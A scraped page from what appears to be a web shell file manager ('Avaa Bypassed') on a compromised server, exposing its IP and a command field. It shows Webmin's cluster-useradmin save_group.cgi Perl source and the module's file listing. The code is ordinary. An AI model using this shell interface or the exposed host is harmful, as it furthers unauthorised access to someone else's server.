[ Avaa Bypassed ]




Upload:

Command:

www-data@18.216.248.35: ~ $
#!/usr/bin/perl
# save_group.cgi
# Saves an existing group

require './cluster-useradmin-lib.pl';
&error_setup($text{'gsave_err'});
&ReadParse();
@hosts = &list_useradmin_hosts();
@servers = &list_servers();

# Get old group
foreach $h (@hosts) {
	foreach $u (@{$h->{'users'}}) {
		$exists{$u->{'user'}}++;
		}
	}

# Strip out \n characters in inputs
$in{'group'} =~ s/\r|\n//g;
$in{'pass'} =~ s/\r|\n//g;
$in{'encpass'} =~ s/\r|\n//g;
$in{'gid'} =~ s/\r|\n//g;

# Validate inputs
$in{'gid_def'} || $in{'gid'} =~ /^[0-9]+$/ ||
	&error(&text('gsave_egid', $in{'gid'}));
if ($in{'members_def'} == 1) {
	@add = split(/\s+/, $in{'membersadd'});
	foreach $u (@add) {
		$exists{$u} || &error(&text('gsave_euser', $u));
		}
	}
elsif ($in{'members_def'} == 2) {
	@del = split(/\s+/, $in{'membersdel'});
	foreach $u (@del) {
		$exists{$u} || &error(&text('gsave_euser', $u));
		}
	}

# Setup error handler for down hosts
sub mod_error
{
$mod_error_msg = join("", @_);
}
&remote_error_setup(\&mod_error);

# Do the changes across all hosts
&ui_print_header(undef, $text{'gedit_title'}, "");
foreach $host (@hosts) {
	$mod_error_msg = undef;
	($group) = grep { $_->{'group'} eq $in{'group'} } @{$host->{'groups'}};
	next if (!$group);
	local ($serv) = grep { $_->{'id'} == $host->{'id'} } @servers;
	print "<b>",&text('gsave_uon', $serv->{'desc'} ? $serv->{'desc'} :
				       $serv->{'host'}),"</b><p>\n";
	print "<ul>\n";
	&remote_foreign_require($serv->{'host'}, "useradmin", "user-lib.pl");
	if ($mod_error_msg) {
		# Host is down ..
		print &text('gsave_failed', $mod_error_msg),"<p>\n";
		print "</ul>\n";
		next;
		}
	local @glist = &remote_foreign_call($serv->{'host'}, "useradmin",
					    "list_groups");
	($group) = grep { $_->{'group'} eq $in{'group'} } @glist;
	if (!$group) {
		}
	local %ogroup = %$group;

	# Update changed fields
	$group->{'gid'} = $in{'gid'} if (!$in{'gid_def'});
	$salt = chr(int(rand(26))+65) . chr(int(rand(26))+65);
	if ($in{'passmode'} == 0) {
		$group->{'pass'} = "";
		}
	elsif ($in{'passmode'} == 1) {
		$group->{'pass'} = $in{'encpass'};
		}
	elsif ($in{'passmode'} == 2) {
		$group->{'pass'} = &unix_crypt($in{'pass'}, $salt);
		}
	local @mems = split(/,/, $group->{'members'});
	if (@add) {
		@mems = &unique(@mems, @add);
		}
	elsif (@del) {
		@mems = grep { &indexof($_, @del) < 0 } @mems;
		}
	$group->{'members'} = join(",", @mems);

	# Run the pre-change command
	&remote_eval($serv->{'host'}, "useradmin", <<EOF
\$ENV{'USERADMIN_GROUP'} = '$group->{'group'}';
\$ENV{'USERADMIN_ACTION'} = 'MODIFY_GROUP';
EOF
	);
	$merr = &remote_foreign_call($serv->{'host'}, "useradmin",
				     "making_changes");
	if (defined($merr)) {
		print &text('usave_emaking', "<tt>$merr</tt>"),"<p>\n";
		print "</ul>\n";
		next;
		}

	# Update the group on the server
	print "$text{'gsave_update'}<br>\n";
	&remote_foreign_call($serv->{'host'}, "useradmin", "modify_group",
			     \%ogroup, $group);
	print "$text{'udel_done'}<p>\n";

	# Make file changes
	local @ulist;
	if ($in{'servs'} || $host eq $hosts[0]) {
		if ($group->{'gid'} != $ogroup{'gid'} && $in{'chgid'}) {
			# Change GID on files if needed
			if ($in{'chgid'} == 1) {
				# Do all the home directories of users in
				# this group
				print "$text{'usave_gid'}<br>\n";
				@ulist = &remote_foreign_call($serv->{'host'},
						"useradmin", "list_users");
				foreach $u (@ulist) {
					if ($u->{'gid'} == $ogroup{'gid'} ||
					    &indexof($u->{'user'},@mems) >= 0) {
						&remote_foreign_call(
							$serv->{'host'},
							"useradmin",
							"recursive_change",
							$u->{'home'},
							-1, $ogroup{'gid'},
							-1, $group->{'gid'});
						}
					}
				print "$text{'udel_done'}<p>\n";
				}
			elsif ($in{'chgid'} == 2) {
				# Do all files in this group from the root dir
				print "$text{'usave_gid'}<br>\n";
				&remote_foreign_call($serv->{'host'},
					"useradmin", "recursive_change", "/",
					-1, $ogroup{'gid'}, -1,$group->{'gid'});
				print "$text{'udel_done'}<p>\n";
				}
			}
		}

	# Run the post-change command
	&remote_foreign_call($serv->{'host'}, "useradmin", "made_changes");

	if ($in{'others'}) {
		if (&supports_gothers($serv)) {
			# Update the group in other modules
			print "$text{'usave_mothers'}<br>\n";
			&remote_foreign_call($serv->{'host'}, "useradmin",
				     "other_modules", "useradmin_modify_group",
				     $group, \%ogroup);
			print "$text{'udel_done'}<p>\n";
			}
		else {
			# Group syncing not supported
			print "$text{'gsave_nosync'}<p>\n";
			}
		}

	# Update in local list
	$host->{'groups'} = \@glist;
	if (@ulist) {
		$host->{'users'} = \@ulist;
		}
	&save_useradmin_host($host);
	print "</ul>\n";
	}
&webmin_log("modify", "group", $group->{'group'}, $group);

&ui_print_footer("", $text{'index_return'});


Filemanager

Name Type Size Permission Actions
help Folder 0755
images Folder 0755
lang Folder 0755
CHANGELOG File 273 B 0644
add.cgi File 2.09 KB 0755
cluster-useradmin-lib.pl File 5.51 KB 0755
config File 150 B 0644
config.info File 566 B 0644
config.info.ca File 655 B 0644
config.info.cs File 79 B 0644
config.info.de File 657 B 0644
config.info.es File 78 B 0644
config.info.fr File 758 B 0644
config.info.hr File 0 B 0644
config.info.hu File 0 B 0644
config.info.ms File 131 B 0644
config.info.nl File 129 B 0644
config.info.no File 137 B 0644
config.info.pl File 121 B 0644
create_group.cgi File 3.32 KB 0755
create_user.cgi File 9.72 KB 0755
delete_group.cgi File 3.61 KB 0755
delete_host.cgi File 257 B 0755
delete_user.cgi File 5.22 KB 0755
edit_group.cgi File 5.39 KB 0755
edit_host.cgi File 1.96 KB 0755
edit_user.cgi File 17.68 KB 0755
group_form.cgi File 2.29 KB 0755
index.cgi File 4.98 KB 0755
log_parser.pl File 542 B 0755
module.info File 387 B 0644
module.info.af File 0 B 0644
module.info.af.auto File 259 B 0644
module.info.ar File 0 B 0644
module.info.ar.auto File 392 B 0644
module.info.be File 0 B 0644
module.info.be.auto File 489 B 0644
module.info.bg File 0 B 0644
module.info.bg.auto File 487 B 0644
module.info.ca File 265 B 0644
module.info.ca.auto File 29 B 0644
module.info.cs File 40 B 0644
module.info.cs.auto File 247 B 0644
module.info.da File 0 B 0644
module.info.da.auto File 249 B 0644
module.info.de File 147 B 0644
module.info.de.auto File 24 B 0644
module.info.el File 0 B 0644
module.info.el.auto File 521 B 0644
module.info.es File 36 B 0644
module.info.es.auto File 228 B 0644
module.info.eu File 0 B 0644
module.info.eu.auto File 275 B 0644
module.info.fa File 0 B 0644
module.info.fa.auto File 406 B 0644
module.info.fi File 0 B 0644
module.info.fi.auto File 291 B 0644
module.info.fr File 44 B 0644
module.info.fr.auto File 260 B 0644
module.info.he File 0 B 0644
module.info.he.auto File 316 B 0644
module.info.hr File 0 B 0644
module.info.hr.auto File 261 B 0644
module.info.hu File 31 B 0644
module.info.hu.auto File 285 B 0644
module.info.it File 0 B 0644
module.info.it.auto File 253 B 0644
module.info.ja File 0 B 0644
module.info.ja.auto File 361 B 0644
module.info.ko File 0 B 0644
module.info.ko.auto File 310 B 0644
module.info.lt File 0 B 0644
module.info.lt.auto File 298 B 0644
module.info.lv File 0 B 0644
module.info.lv.auto File 274 B 0644
module.info.ms File 247 B 0644
module.info.ms.auto File 25 B 0644
module.info.mt File 0 B 0644
module.info.mt.auto File 282 B 0644
module.info.nl File 40 B 0644
module.info.nl.auto File 242 B 0644
module.info.no File 36 B 0644
module.info.no.auto File 225 B 0644
module.info.pl File 240 B 0644
module.info.pl.auto File 29 B 0644
module.info.pt File 0 B 0644
module.info.pt.auto File 282 B 0644
module.info.pt_BR File 0 B 0644
module.info.pt_BR.auto File 291 B 0644
module.info.ro File 0 B 0644
module.info.ro.auto File 301 B 0644
module.info.ru File 0 B 0644
module.info.ru.auto File 477 B 0644
module.info.sk File 0 B 0644
module.info.sk.auto File 305 B 0644
module.info.sl File 0 B 0644
module.info.sl.auto File 266 B 0644
module.info.sv File 0 B 0644
module.info.sv.auto File 265 B 0644
module.info.th File 0 B 0644
module.info.th.auto File 597 B 0644
module.info.tr File 0 B 0644
module.info.tr.auto File 291 B 0644
module.info.uk File 0 B 0644
module.info.uk.auto File 456 B 0644
module.info.ur File 0 B 0644
module.info.ur.auto File 468 B 0644
module.info.vi File 0 B 0644
module.info.vi.auto File 287 B 0644
module.info.zh File 0 B 0644
module.info.zh.auto File 244 B 0644
module.info.zh_TW File 0 B 0644
module.info.zh_TW.auto File 253 B 0644
prefs.info File 28 B 0644
refresh.cgi File 2.31 KB 0755
save_group.cgi File 4.65 KB 0755
save_user.cgi File 12.76 KB 0755
search_group.cgi File 1.69 KB 0755
search_user.cgi File 1.73 KB 0755
sync.cgi File 4.92 KB 0755
sync_form.cgi File 1.75 KB 0755
user_form.cgi File 5.66 KB 0755